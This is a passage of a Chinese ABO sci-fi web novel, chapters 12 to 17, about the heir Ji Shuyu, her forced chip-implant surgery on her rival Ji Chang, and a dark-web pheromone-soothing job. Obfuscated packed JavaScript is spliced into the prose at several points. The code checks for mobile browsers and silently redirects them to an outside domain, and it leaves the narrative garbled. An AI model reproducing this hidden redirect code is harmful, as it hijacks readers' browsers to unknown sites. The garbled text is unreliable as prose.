上次见面,还是例行去医院看望她名义上的哥哥,季昀政的劣A儿子,与她和那位omega丈夫打了招呼,算起来也有一段时间了。 做惯了上位者的女人在处理着手头上的公务,听到脚步声,头也没抬:“我上次说的话,你考虑的怎么样了?” “母亲,我目前没有这个打算。”季舒虞直接回绝。 季昀政的动作停顿,皱紧眉头看着她:“你需要为家族考虑,我不是在问你的个人意愿。” “我正是在为家族考虑,”季舒虞坐在她远远的对面,“现在不是联姻的好时候,联姻对象会影响我工作生活,这才是在威胁整个家族的利益。” “联姻而已,怎么会影响你的工作生活,”季昀政把全息文件给助理,转交到她的手上,“皇室与财阀的联姻,从来都是这样的。” 季舒虞大致扫了一眼,那是一个陌生的omega。 皇室的omega,看上去是个怯生生不谙世事的男孩——她不想要一个肩不能扛手不能提的先生。 她直言不讳:“太弱了。” “……那你再等等,皇室会从家族中为你挑选一位合适的先生。”季昀政并没有强求她。 要知道,季昀政在这个位子上,从来都是说一不二的。 没有谁能让她妥协,季舒虞算其中一个。 但季舒虞没有答应:“母亲,或许是你搞错了,我的意思是,我不需要联姻。” 女人对她的太对很不满意:“你想做季家的话事人,就需要助力,只有能力是不行的,记得你答应我的话,副舰长。” 明明是名义上的母女,但季昀政只称她的职务。 两人谈话很冰冷,完全就是上下级,跟母女几乎没什么关系。 季舒虞这次没有立刻回话。 她当然记得。 是季昀政把她从实验室里带出来的,从此她离开了分不清白天黑夜,每天都在被注射针剂的实验室。 季昀政的独子季景深,身患重病,卧床很多年,季昀政又因为早年在战场上落下了病根,彻底丧失了生育能力,最终选择在实验室里挑选合适的实验体作为继承人来培养。 季舒虞就是那个最拔尖的。 她几乎完全符合季昀政的要求。 “不要年纪大的,养不熟。” “要听话的,武力值强的。” “有哪些腺体自控手术成功的实验体,我不希望带回去一个被信息素支配,满脑子□□的Alpha。” 实验员恭恭敬敬地把人带到她的实验舱。 那时她刚被注射了新的药剂,疼痛充斥着她的身体,每天身体都在分裂,她的视觉和听力都很敏锐,痛到极致的时候,季舒虞甚至能听到细胞分裂的声音。 痛,太痛了,痛得她根本看不清眼前陌生的面孔。 即便她每天都在被观察与记录,但季舒虞还是很厌恶被人长久注视,当做物品来观察的眼神。 她们透过透明的实验舱,看她的一举一动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299943|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这个女孩不错,不过,她怎么不叫痛,是个哑巴吗?”她恍惚间听到女人这样问。 “并非如此,阁下,”实验员忙解释,“她忍耐力很强,身体素质远超常人,几乎从来不叫痛,哪怕上次忘记打麻药,她也只是提醒,而非大喊大叫。” 等她反应过来身旁站了人时,季母已经和专员交谈完了。 那天,季舒虞被带离了实验室。 她第一次享受阳光。 想要享受阳光,是一件奢侈的事,在她六岁那年,可以做实验体的年纪,就再也没见过阳光了。 她有了名字,不再延用实验室的代号007,季昀政为她取的名,从容舒展的舒,无虞的虞,听起来是个好名字。 但她在实验室没有接受过什么教育,也没有人跟她聊过什么,季舒虞表达需求从来直白,这是实验员对实验体惯用的交流方式,没有弯弯绕绕。 她不会讨好,十年的相处方式几乎已经刻在她的骨髓。 年幼的季舒虞很早就明白,人与人之间都是存在利益牵扯的,季昀政带她出来,是有目的的。 果不其然,她说:“你哥哥身体不好,我要你完全的忠诚他,保护他。” 忠诚吗? 季舒虞歪了歪头,她知道,这不是一个该存在于家庭关系之间的词语。 那么她存在的意义就是保护季景深,成为季家话事人,完全忠于他。 她板着脸回答:“我明白。” “这是必须要做到的,我会给予你帮助,你要忠于季家,忠于你的哥哥,听明白了吗?” 与其说她们是母女,倒不如说,她们是很久以前就做下了交易。 季舒虞从来不会食言,她答应的事都会做到。 “那就先去见见那位omega,如果不合适,还会有其他皇室成员。” 她推开门,正好看到一旁的季尝。 这人不知道站在这里多久了,被她撞见,也没有被抓包的心虚,还惊讶地打量她:“能让她改主意,我的大小姐,之前没有发现你这么厉害?” 季舒虞没给他好脸色:“我之前也没发现,执行官原来这么喜欢听墙角?” 这话刚说完,她就闻到季尝身上有很多信息素的味道,像是许多A阶的Alpha。 “去哪里鬼混了,好难闻。”她嫌弃地瞥了季尝一眼。 13. 第 13 章 他拍了拍肩头的灰尘,轻描淡写:“……刚解决了几个闹事的Alpha。” “看来训导官和执行官的位置很适合你,能为星际培养不少人才,做出许多贡献。”季舒虞点点头,注意到他手背上有刀痕。 常年作战,她一眼就判断出,这是激光划出来的。 战斗受伤都不影响他听墙角。 这人也是够了。 季舒虞最是看不上这种行为:“卑劣。” “哈?”季尝笑一声,“你的人针对我就不卑劣了吗?” “那不是我的人,”季舒虞打开终端光幕,通过了皇室omega的交流请求,“你身上的味道很杂,但我的手下没有这种味道的。” 多年在实验室,她的听力嗅觉都是远超常人的。 季尝啧了一声:“狗鼻子,那些都是老头的人。” 他没再继续说什么,视线停留在她的光幕上,有些诧异:“我从来没有想过,你这种冷漠到不近人情的Alpha,有可能步入婚姻殿堂。” 对上季舒虞不太友善的视线,他笑了一声,解释:“家族联姻是很正常的事,但你这种性格,我难以想象怎么跟伴侣相处。” “到时候怎么相处呢,晚上伴侣要你履行义务,你用公务来搪塞,说规矩不允许吗,”说到这,他屈指抵住嘴唇,忍笑道,“实在好笑,不好意思大小姐,我是真的忍不住了。” 季舒虞:“我也很同情你将来的Alpha,会有人娶你这样刻薄的omega吗?” 他咳了几声,才开始说正事:“他想看手足相残的戏码,大小姐,快停战吧,既然你不愿意跟我站在一边,那就由我过去,跟你站在一边。” 季舒虞没有说话。 她其实更好奇,季尝是怎么分辨出那不是她的人的,难道只因为她刚刚的话吗? 她的身份被隐瞒了很多年,所有人都只当她是哪个不知名家族的孩子,季昀政也伪造的足够全面,连着老头都一并瞒了过去。那么季尝刚刚又是否听到了? 人逐渐多了起来。 这里不再是安静的私人区域,而是到了工作区。 季尝用精神海与她沟通交流:“我做的饭,你都吃完了?” “这次怎么不担心我下毒,亲爱的大小姐。” 平心而论,季尝做的饭味道是很不错的,他在这方面有很高的天赋。 季舒虞连眼神都吝啬给他:“那个菜不错,多做一些。” “……使唤我就这么顺手吗?”季尝无奈地挑了挑眉锋,“你好烦人啊大小姐。” “别忘了自己是做什么的,生活秘书。”季舒虞打开终端,查看今天的行程安排,在看到后面的空白后,问,“任务被推了?” “是啊,我昨晚不是告诉你了吗,”季尝指腹来回抚摸黑蛇的头,“最近不要接任务,各方势力的内鬼都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299944|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行动,这时候出头讨不到什么好处的。” 季舒虞带他进入办公区,隐秘的墙缓缓打开:“既然如此,就把手术做了吧。” 他的笑意明显僵了一瞬:“什么?” 季舒虞弯了弯嘴角,难得露出一个笑来,但这样的表情在他看来只觉得阴森可怖。 她自顾自地去消毒,让机械臂为自己穿戴无菌服和医用手套:“昨晚不是说好了吗?” 的确说好了,还是他自己答应的。 季尝深吸一口气,开始环顾四周,打量着这里的环境。 精密的医疗器械、医疗机械臂、手术刀、药品一应俱全,这个隐藏的手术室,带着科技感的冰冷的光泽。 他啧啧两声,很不满意地挑三拣四:“你做过几台手术,胆子这么大,就要拿小叔来练手。” “谁都知道你我的恩怨,要是我死在这儿,你也逃不了。” 季舒虞泰然自若地收拾好一切:“那就不逃,我从来守序。” 看到出来,季尝是被她吓到了。 原本被打理到一丝不苟的栗色发丝都有点乱了,季尝抬手整理发丝,后背几乎要贴在紧闭的门上:“你疯了,就为了杀我,把你的命也搭进去?” “慌什么,先做一个检查。” 机械臂挡住他的退路,季尝躲无可躲,掌心按在腰侧激光枪上,似笑非笑地看着她:“小鱼,我要专业的医生为我手术。” 14. 第 14 章 季舒虞抬眼看他:“先做检查。” 这里不好动手。 如果激光打到特殊材质的墙壁,会反弹回来,空间虽然大,但季舒虞手上有太多武器,他无法扛着,只能暂时服从命令。 “……小鱼,我会配合你做检查,但我需要专业的医生为我做手术。”季尝收起了微笑,警惕地看着她,“这是我最后的让步。” 季舒虞的声音没有起伏:“进去,我要检查。” 空气冷凝了几秒,最终他还是妥协地进入仪器里。 在他站好的一瞬间,空间顿时变成密闭的,季尝打量着这个狭小的医疗器械的内部。 “……大小姐,快点,我会被闷死的。” 季尝放缓了声音,找回平时不着调的语气。 下一刻,头顶上方开始通风。 全息投影将季尝的身体分析的彻底。 芯片手术对于状态的要求很高。 季尝现在仍旧处于假性发情期,但好在他控制住了,状态良好,不会影响手术。 她安静地分析着季尝的身体数据,思考将芯片放在哪个部位合适的时候,看到他心口位置的一道伤口。 她记得那道伤口。 大概是她十八岁那年,她与季尝发生了激烈的冲突,那次,她的肩膀被季尝穿透了,而她的匕首没入季尝的胸膛,离心脏只差一点。 伤痕是可以彻底去除的。 医疗技术已经非常成熟了,只要他想,81%的身体换成机械也是可行的。 但不知道处于什么原因,季尝一直留着这道疤痕,到现在已有四年。 但那些争执,说白了更多是季高想看到的。 在季高看来,她和季尝两人是季家话事人的不二人选,他希望看到两个继承人像野兽一样,斗的你死我活,最终分出胜负。 或许应该说,那时候她们不够成熟也没有看透,都掉进了季高的圈套。 有一点季舒虞很清楚,哪怕季高不这么做,哪怕时光倒流,她与季尝也必然会形成这种局面,性格使然,她们会天然厌恶彼此。 “大小姐,看够了没?”季尝已经有些咬牙切齿了。 以他的实力,只要他想,完全可以释放精神体,巨大的黑蛇会将手术室撑开,从而彻底暴露他和季舒虞的位置,但很显然,他并不打算这么做,这是破坏两人的合作。 观察舱的门缓慢开启:“嗯,出来。” 季尝将自己打理的一丝不苟,这才走出观察舱:“我的医生呢?” “我不是吗?”季舒虞配好药剂,透过冰冷的护目镜看他,“过来,我来为你植入芯片。” 季尝后退了一大步,猛然把腰间的激光枪拔了出来:“我做出了让步,我要医生。” “什么时候轮到你来让步了?”季舒虞的声音无波无澜,“我可没有答应你。” 在季尝扣动扳机的同时,季舒虞侧身避开,按下了按钮。 顿时,整个手术室充满了麻醉气体。 季尝是经过检测,确认身上没有可防御麻醉气体的物品后,才允许进入手术室的。 在躲开被墙体来回反射的激光子弹后,季舒虞一把捞起地上昏迷不醒的人,为他做清理,由机械臂辅助,为他穿上手术服,把人安置在病床上。 季舒虞静静地看着他的睡颜,思考将芯片移植到哪里合适。 微小到人眼不能看清的芯片在被检查后,由机械臂辅助,放进他的身体里。 只要季尝背叛,或者做出威胁到她的事,她绝不会手软。 小小的芯片能将一头巨大的星兽炸得血肉模糊,遑论是人。 —————————— 克莱德担忧地看着通讯:“我给他拨了很多次,他会不会因为在季小姐身边工作,开始了第二轮假性易感期?” “不,不能。”他很快自己打消了这个念头。 昨晚是他亲自治疗的,季尝不会在短时间内出现这种情况,除非是高匹配度的Alpha有意引导。 他清楚,季舒虞不是这么卑劣的人,其他人更没有接近或者对他下手的资格。 克莱德没有犹豫,直接坐上飞行器,到达星港基地。 在审核过全息通行证后,克莱德不间断地拨季尝的终端,每次都没有成功拨进去,他彻底着急了,问身旁的舰员:“执行官现在在哪?” “季执行官这会和副舰长待在一起,不过没有预约,你是见不到两位长官的……诶,你去哪!”舰员眼睁睁地看着那个漂亮的金发omega跑远了。 但星港基地戒备森严,如果不是完全符合,是绝对进不来的。 舰员没有去追,打开精神海与战友隔空交流:“有个金发碧眼的omega到上面去了,走流程进来的,要见两位长官,关注一下。” 季尝的传送权限处于关闭状态。 克莱德尝试多次,也没有成功开启。 “该死的!”一向温柔的omega爆了粗口。 他们两个不能待在一起。 就算季尝现在的情况稍微稳定一点了,季舒虞匹配度过高的信息素就算不小心泄露,都有可能造成不可挽回的后果。 这可是星际丑闻。 按照季家目前话事人的态度,和对家族名誉的重视,她们两个会被彻底销毁的。 他凭借记忆,到达了印象中的办公区——季尝应该就在这里。 在他准备用非常规手段进去的时候,门自动打开了。 一个高挑肃丽的女人站在门后,她穿了一身黑色军装,佩着金色的徽章和肩穗,垂着眼睛看他,她脸上没有什么多余的表情,只是站在那,上位者的威压就铺天盖地的将人笼罩。 这张脸太有辨识度,还有她身上那股带着硝烟味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他突然觉得,被死对头亲手移植一颗成分不明的芯片,还有跟死对头发生一些丑闻,没有什么两样,都挺恶心的。 这下他的命彻底被季舒虞捏在手里。 他越想心里越难受。 在刚才醒了来,看到季舒虞那张冷脸的时候,季尝想要召唤黑蛇脆皮去咬她,但发现,麻药没有完全过去。 他甚至没有什么力气支配精神体,只能发泄地把沙发上的抱枕摔向季舒虞。 但显然,一点杀伤力也没有。 她全部都躲开了,还让他观察有没有什么排异反应。 季尝心不在焉地躺了回去:“怎么会。” “怎么不会,她可是Alpha啊,”克莱德忽然像是想到了什么,“你怎么会一点都不介意呢,季尝,你还不会是,喜欢她吧?” …… “什么?”季尝身子微微向后仰。 他对这个设想感到恶心。 他,喜欢季舒虞。 他吗? 15. 第 15 章 他什么时候能做出这么恶心的事。 他太清楚季舒虞的脾气了。 她们两个就像天生相克,只要站在一起,就必然会炸出巨大的火花。 他觉得季舒虞冷漠刻板,季舒虞觉得他刻薄虚伪。 至于喜欢,季尝只是想想,就已经被恶心到了。 跟这样满脑子规矩的人生活在一起,恐怕他脑子坏掉了才会这么做。 “我没有虐待自己的倾向,一个正常的人,是不会与很多年的死对头产生这种感情的。”季尝说,“如果有,那我可能是疯了,到时候希望你作为朋友,及时把我送去精神科治疗。” “还有,为什么你的设想是我喜欢她,而不是她喜欢我,我的魅力值,你难道不清楚吗?” 克莱德哑然:“……嗯,很犀利的问题,她纵容你休息在这里,所以倒也不是没有这种可能。” 会有死对头休息在对方的办公区吗? 或是说,会有人同意死对头休息在自己的办公区吗? “亲爱的克莱德,没事了就去锻炼身体,帮助家族做事,别再看那些言情小说了,好吗,”他掀起克莱德的金色额发,摸了摸他的额头,随后啧啧两声, “真可怜,脑子都看坏了。” 他可不想成为星际丑闻。 季尝的攻击性很强,但跟他在一起这么多年,克莱德早就免疫了。 打发了克莱德,季尝指尖停顿在光幕上,没有直接点开季舒虞的聊天框,而是错开,点开了另一个头像。 【文副官,帮我向你的长官请个假。】 交代完这些,季尝直接打开传送权限,走进光幕回到了院墅。 假性易感期和刚做完手术的疲惫在这时候一同涌了上来。 季尝换上柔软宽松的毛衣,倚在了沙发上。 他在回忆那个梦。 确切来说,在他昏睡过去的时候,精神世界也跟着发生了天翻地覆的变化。 精神世界里出现了季舒虞的身影。 他和季舒虞不停地打斗,两人都没有留手,直逼对方最脆弱的部位,都是不要命的打法,后来,季舒虞把他打死了,血流了一地,他喘不上气,哪怕张开嘴巴,也没有氧气被吸入。 精神世界遭受了重创。 不知怎么回事,原本的全息竞技场便成了一张大床,谁把卧房门紧闭的,他也不知道,季尝只知道,他跟季舒虞打着打着,信息素就失控了。 两股战斗型的信息素都想压制彼此,没有谁占据上风。 自然的清新与战火硝烟的味道就这么紧密交织,不分你我,像是和平与战乱。 “小叔,不是讨厌我吗?”他看不清季舒虞的表情,只听见她的声音比平时要低,“跟死对头亲嘴的感觉,怎么样?” 她们明明刚才还在打架,非要分个你死我活,这会他又在热情地回应着季舒虞的动作。 这算什么? 季尝深深地吸了一口气,没敢再回想。 他知道这个想法究竟有多可怕。 那个紧到喘不过气的拥抱、耳畔的呼吸声,还有味道,温度,都那么真实,让他产生了想去看精神医生的冲动。 在精神世界里,他清楚的知道,在床上被完全压制的感觉并不好,但精神世界里的两人紧密相拥,没有谁要松开手。 季尝掐紧了掌心,用这点痛楚分散自己的注意力。 和季舒虞亲吻和拥抱,这是一条禁忌的,不可跨越的红线,除了死对头,还有叔侄的身份在这里,只是回想,他就已经出了一身冷汗。 “精神世界变得奇怪?” 克莱德的声音传来。 季尝自顾自地贴上退热贴,浏览镜上凝了一层薄薄的哈气:“是,我在精神世界看到了太多人,以前不是这样的。” “原本是正常的,”克莱德正在调试医疗器材,他又开始忙于实验,连抬头的空都没有,“毕竟你刚经历假性易感期,没有特效抑制剂,开始了戒断反应,但精神世界出现太多人,证明你的大脑太乱了。” 季尝似乎想到了什么,他唇角一向维持很好的淡笑僵住了:“大脑吗?” 他从来没有和出现过这样的情况,这次是因为季舒虞为他做芯片移植手术,才出现这样的情况。 季舒虞在他的大脑里进行了手术吗,如果是这样的话,精神世界突然有一瞬崩溃就不是那么难解释了。 那她是否有篡改他脑海中的一些信息? 他原本不相信季舒虞有这样的技术,但她真的独自完成了这台手术。 能独自完成芯片移植,那么篡改一些记忆对她来说也不是什么难事了。 “你最近状态不是很好,保险起见,还是先雇一个易感保护人吧。”克莱德接过助手递来的针剂,开口建议。 这次季尝没有推脱:“我知道了,不打扰你了。” 全息视频中断。 原本他不考虑易感保护人这一选项的。 季尝很能抗,很能忍,但前提是没有季舒虞的存在。 那股高匹配的信息素,在他闻来会更浓郁,季舒虞的存在感太强了,他没有办法忽视,更没办法自欺欺人。 只有找到能暂时帮他脱离困境,摆脱季舒虞信息素的Alpha,他才算破局。 季尝没有再想下去,而是只接打开了光幕,注册了暗网的账号,用特定代码篡改了信息,发布了雇佣信息。 他给的很多,帖子刚发出去没多久,就有一群Alpha来私心他。 季尝屈指推了一下鼻梁上的浏览镜,很快调出了这些人的身份和信息素匹配度。 “啧。” 他发出很不满意的声音。 匹配度至少要68%,否则对他不会有效果。 但这些Alpha无一例外,都是低于60%的,于他而言是一点用处都没有。 一群劣等家伙,他什么时候沦落到要这样的家伙来为自己释放信息素了? 季尝不耐烦地拿起冰杯,灌了一口酒。 灼烧的感觉能让他暂时清醒,脱离时不时发作带来的痛苦和难耐,像用这种方式告诉自己还活着。 但很快,他翻阅的动作停下:“A?” 一个敷衍的名称,高高悬挂在暗网的第三名。 季尝突然就想到了有关这位的传闻。 前几年他听说过这人的名字,是个强悍的Alpha,不过没有人闻到过她信息素的味道,第二性别大概是女性,毕竟杀伐果断并且素质较高的大都是女性,她没有坏过暗网规矩。 他们这些自诩上流社会的人,并不会关注暗网的太多消息,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季舒虞解开最上方的扣子,捧着一本书坐到光幕前,正要把明天的安排发下去,就看到光幕上,由蛛网与铁锈组成的暗网界面——朱雀刚才趁她不在,偷偷玩了一会。 私信果然已经堆满了,季舒虞刷新排行榜,看到自己已经掉到第三名。 有两个积分已经超过她了,不过战力排行与人头数,她还是第一。 季舒虞心满意足地关闭界面,官方再度发送通知。 【雇主正在等待您的回复,请尽快处理。】 在暗网,接活儿后才会有这类消息。 她什么时候接的活儿? 季舒虞检查登录的是哪个账号,随后才点开消息栏目,未完成的红点格外显眼。 朱雀给她接了一单。 “朱雀。”季舒虞看向一旁在欢快吃饭的鸟。 后者毫不心虚,甚至非常坦荡,丝毫不觉得这有什么不对。 季舒虞暗了暗额角,开始看这项活儿的内容。 “……为Omega释放安抚信息素?” 16. 第 16 章 季舒虞从来就没有结果这么离谱,这么没有技术含量的活儿。 她擅长杀人,从来都是一枪一个,从来不多浪费一个子儿,干脆利落,只干活,不多问,不坏规矩,获得雇主们的信任和喜爱。 为omega释放信息素,这不该在暗网出现,更不该被她接到。 暗网大都是发布杀人越货等一系列脏活儿的,一个omega,为了找人做信息素安抚,跑到这儿来雇佣,怎么想也怎么不合理。 从一群杀人如麻的Alpha里找,这年头,omega也不挑了? 季舒虞猜想,这应该是哪个丧A的寡O,迫于家族压力,不能改嫁,独自支撑着庞大的家族,易感期还需要外面找人安抚。 这在皇室、财阀和世家里很常见,但在暗网上发布就不那么常见了。 真是一个不走寻常路的omega。 但因为这个新号给出的报酬太多,底下一堆自荐的Alpha,没人提醒这个omega,这件事在暗网上发有诸多不妥。 账号是加密账号,她用了许多办法,都没有把号主的真实身份查出。 暗网有规矩,接单后是不能取消的,只有雇主取消的份儿。 “长官,脸色怎么这么凝重?”文青山递给她一袋营养液。 季舒虞摇了摇头:“让季尝给我做晚饭。” 文青山笑着应下了这个传话筒的活:“好,我会告诉执行官的。” 不是所有的omega都能受得了她信息素的强度与浓度。 季舒虞干这一行许多年,没有过差评,她不像因为这件意外又离谱的事获得人生中第一个差评。 思来想去,她打开对话框。 是个脾气不怎么好的omega。 【?看清了吗你就接,我这可不是杀人的单子。】 脾气爆。 【那么下午见。】 讲效率。 是个难缠的omega。 季舒虞微不可查地叹了口气。 好在给的报酬确实不少,比杀人给的多。 除了31万星币,还有一些星矿、能源,重要的是,这些都是一次的价,按次结。 也比那些高层大方多了。 【我的信息素浓度很高,身体虚弱的不建议。】 过来一会,对方回复【有用就行,希望你不要让我失望,还有,来之前洗干净,我异味敏感。】 带着上位者的倨傲、轻蔑和鄙夷。 季舒虞感到荒谬,发出一声短促的哼笑。 这omega把杀手们当做什么了,几年不洗澡的叫花子吗。 对方的偏见和某些刻板印象让季舒虞为此不太舒服。 以前不是没有过难缠的雇主,但她不需要直接跟雇主接触,这次不一样。 “下午没什么安排,你可以早点回家。”季舒虞嘱咐。 暗网安排的见面时间是固定的,下午五点,马上就到。 她不打算透露身份,就得全副武装的过去。 便携式信息素拟态器、视线阻隔器、抑制剂一应俱全。 对方约她在一个郊外废弃的空港见面,这里黑暗,空洞,回荡着她军靴踏在踏板上的声音,显得阴森又诡异。 显然,这个omega跟她想的有些不一样。 敢在暗网找易感保护人的omega就是不一样。 他在约定好的昏暗房间里安安静静地坐着,哪怕听到她过来,也没有开口说话。 看样子,他也不想暴露自己的真实身份。 那很好,也正合她意。 季舒虞没有关门,依着她的信息素浓度,根本不用关门。 “我要开始了。”她使用过变声器的声音冷淡平直,没有什么感情起伏。 黑暗中,对方点点头。 应该是个哑巴。 身体残疾,早年丧A,易感期还只能在暗网上找人做安抚。 可怜。 但她们只是雇主关系,季舒虞不会给他过多情绪。 高浓度的安抚信息素经过她拟态器,把那股浓烈的硝烟味道重构成浓烈的沉水檀香,像是被碾碎的檀木混合着烈酒,浓得发沉,化作一张大网,让他无处可逃。 季尝在黑暗中瞪大了双眼。 他本能的生出了想要逃离的想法。 但身体就像被定在了原地,彻底动弹不得,心跳的声音又急又快。 很强大的气场,浓烈的味道,带着沉甸甸的威慑力。 季尝的浑身开始发烫,他咬着嘴唇,坐的笔直,一声不吭,只是袖中的指节已经绷紧了。 “够吗?” 季舒虞停止释放。 她第一次给人释放安抚信息素,不确定他需要多少。 omega一点反应都没有,他身上应该带了信息阻隔器,一点味道都没有漏出来,就这么直挺挺地坐着,不知道是否被安抚到了。 “……再来点。”很久,他有些虚弱的声音传来。 这个浓度居然还不够,季舒虞依言继续释放安抚信息素,观察着他的反应,按照暗网的规矩,询问:“身体不适吗?” 他有些缓慢地摇头。 可能是很久没有被安抚过了,他需要的很多。 寻常Alpha并不能供给这么庞大的量,但季舒虞的身体异于常人,再加上本身是S级Alpha,这些对她而言还是承受范围内。 直到结束,omega都没有再多说一句话。 他点了点终端,示意她星币已经付过去了。 脚步回响的声音逐渐远去,废弃的空港里只剩下他一个人。 “嗯、咳咳咳……” 季尝发出一阵难耐地低咳,有股淡淡的血腥气涌出。 可能是自从分化成omega到现在,他都没有做过一次信息素安抚,导致第一次接受太多有些受不了。 他舔掉唇肉上的血,无力地闭上了眼。 还算幸运,这个代号A的女人和他还算匹配,信息素也不算难闻。 这很好,被索命女士安抚的期间,他就不会再被季舒虞影响了。 他极力克制着自己,克制着攻击对方的想法,尤其在信息素涌出的时候,他差点就要拔出激光枪朝她射去,那股属于Alpha的信息素太过强大和恐怖,让他想要反抗、攻击、逃避。 这是源于本能的畏惧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299947|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好在他克服了,没有真的跟A产生正面冲突。 否则他不能保证,除了A,还有谁能为他提供信息素。 也幸好他第一次做信息素安抚没有碰到歹人,暗网本来就没有什么保障,但A是严格遵守了规矩条例。 【星币收到了,星矿与能源?】 暗网传来消息提示,是A发来的。 季尝缓了一口气,慢腾腾地回复【给你放在那里了,叫你的人去取。】 线下交易是非常危险的,季尝当然知道。 但他一直没能扒到这人的真实身份,想来她也是十分警惕的,所以季尝没有打算派人去蹲守她。 毕竟过段时间还要用她,不能把人得罪太狠。 叮叮—— 【到账,31万星币。】 季舒虞满意地关闭终端,关闭浴室门,摘掉一系列的随身装置,浓郁的硝烟味在浴室弥漫,她打开淋浴装置。 女人骨骼修长,身体线条流畅,肌肉经过锻炼变得有力,特殊的淋雨装置可以祛除她身上的味道,这样即便一会见客,也不会被发现有什么不对。 于一般Alpha而言,释放安抚信息素是一件很累的事。 雇主可能很久没有做过信息素安抚了,一副要将人榨干的模样,今天这个量放在正常Alpha身上,可能会力不从心,甚至直接昏死过去,但她现在还没有异样的感觉。 释放安抚信息素对她来说不是抽走精力,而是缓解压力。 【长官,有眉目了。】 身体被清水冲刷,骨节分明的手停顿在光屏上,打开一封全息文件。 里面包含季尝和M618星暗线的密切往来。 难怪要突然回来,还要在她手底下做事,在她面前晃来晃去。 季尝的一些行为突然就有了解释。 什么假性易感期,为了获取她的一些信任,不惜把命搭进去,就为了让她看到自己那副脆弱的可怜虫模样,季尝从来都是这样,为达目的不择手段。 “他还是这副样子,够狠。”季舒虞垂着眼把记录销毁。 资料不足以证明季尝一定是M618星的暗线,不足以证明他背叛了季家,但只要怀疑的情绪开始产生,季舒虞就很难再信任他——信任死对头本身就是一件蠢事。 季尝这人不择手段,跟她针锋相对十年,就是为了接触季家中心权利。 他明明有能力争取更高的位置,但季尝只要季家。 “我帮你坐上联盟理事长的位置,你给我整个季家,怎么样?” 他笑得像只狐狸,甩出了诱人的诱饵。 联盟理事长,这个职位是权力的核心。 她不能违反规定,但如果她是规则的制定者,那一切就不同了。 但季尝不止跟她一人达成了协议,还有为了别人出卖她的可能,这是季舒虞不会接受的。 她不会忍受同盟背叛自己,更会从根源断绝背叛的可能性。 终端传来震动。 音频请求传来,季舒虞没有细看,直接接通,系着浴袍带:“说。” 那边很久没有传来声音。 季舒虞擦干发丝,抬眼看向终端。 17. 第 17 章 全息投影里,女人不紧不慢地挽浴袍袖子,擦着头发,在他沉默的间隙,抬眼跟他对视上。 “……大小姐未免也,太慷慨了。”他表情有些奇怪。 季舒虞直接挂断。 动作不足0.01秒。 他见过季舒虞小屁孩的模样,也见过她的叛逆期,见过她很多样子,唯独但这幅模样对于他来说,还是太私密了。 至少不该被死对头看见。 这十年里,他其实只见过季舒虞穿军装,或者其他制服的模样。 女人的腰线劲瘦流畅,挽起的浴袍袖口能看到她手臂有力流畅的线条,虽然只看到她绑带的动作,但也让季尝短暂的失语片刻。 季舒虞只穿着浴袍,面无表情地擦着头发,这样的举动,莫名就打破了一层界限,叫他产生说不清道不明的情绪。 这是他该看的吗? 显然,季舒虞是不小心碰到的。 要是她知道打来全息视频的人是他,估计不会接。 但这也不对。 她们是叔侄,还有着这层关系,他不该产生这种反应。 能言善辩伶牙俐齿的季尝,第一次沉默这么长时间,随后只给她发一张慷慨卡。 黑蛇一直在他小臂上缠绕,想要找朱雀玩,季尝点了点它的脑袋:“看样子你这段时间都不能跟她玩了,大小姐这会估计要恨死我了。” 打了这么多年,季尝对她还是有些了解的。 季舒虞也没想到打来全息视频的是他。 她很少接到全息视频,大都是音频商量公务,所以她也不避讳什么。 【大小姐,我还有话没有说完^^】 季舒虞扫了一眼,直接关闭了光幕,没有回复他。 她刚刚接到文青山的消息,季尝也参加了联合舰队总指挥官这一职务的竞选。 如果季尝真的叛变了,那决不能让他坐上联合舰队总指挥官这一位置。 —————————— “这孩子不错,她适合这个位置,不如让她试试。” 白发的女性Alpha说。 